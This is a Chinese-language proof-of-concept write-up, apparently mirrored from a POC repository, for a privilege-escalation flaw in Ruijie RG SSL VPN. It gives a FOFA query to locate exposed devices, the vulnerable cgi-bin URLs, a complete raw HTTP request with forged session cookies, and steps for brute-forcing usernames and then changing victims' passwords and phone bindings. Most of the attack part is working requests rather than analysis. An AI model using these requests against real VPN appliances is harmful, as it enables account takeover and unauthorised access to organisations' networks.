mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 03:17:07 +00:00
70 lines
2.7 KiB
Markdown
70 lines
2.7 KiB
Markdown
# 锐捷RG SSL VPN 垂直越权漏洞
|
||
|
||
**一、漏洞简介**
|
||
|
||
Ruijie SSL VPN 存在越权访问漏洞,攻击者在已知用户名的情况下,可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源
|
||
|
||
**二、影响版本**
|
||
锐捷RG SSL VPN
|
||
**三、资产测绘**
|
||
|
||
fofa`icon_hash="884334722" || title="Ruijie SSL VPN"`
|
||
●登录页面
|
||
|
||
|
||
**四、漏洞复现**
|
||
|
||
```plain
|
||
/cgi-bin/main.cgi?oper=getrsc
|
||
```
|
||
|
||
直接访问,回显如下:
|
||
|
||

|
||
|
||
随后访问如下,UserName 参数为已知用户名 在未知登录用户名的情况下 漏洞无法利用(根据请求包使用Burp进行用户名爆破)
|
||
|
||
```plain
|
||
/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=name&sid=1614345312&oper=showres
|
||
```
|
||
|
||

|
||
|
||
<font style="color:rgb(0, 0, 0);">查看服务器资源</font><font style="color:rgba(0, 0, 0, 0.9);">POC:</font>
|
||
|
||
```plain
|
||
GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
|
||
Host: 127.0.0.1
|
||
Connection: close
|
||
Pragma: no-cache
|
||
Cache-Control: no-cache
|
||
Upgrade-Insecure-Requests: 1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
Sec-Fetch-Site: none
|
||
Sec-Fetch-Mode: navigate
|
||
Sec-Fetch-User: ?1
|
||
Sec-Fetch-Dest: document
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
|
||
Cookie: UserName=name; SessionId=1; FirstVist=1; Skin=1; tunnel=1
|
||
```
|
||
|
||

|
||
|
||
通过此方法知道用户名后可以通过漏洞修改账号参数,访问
|
||
|
||
```plain
|
||
/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres
|
||
```
|
||
|
||

|
||
|
||
点击个人设置跳转页面即可修改账号信息
|
||
|
||

|
||
|
||
|
||
|
||
> 更新: 2024-06-24 11:42:25
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/tmgs3g967ixmiwam> |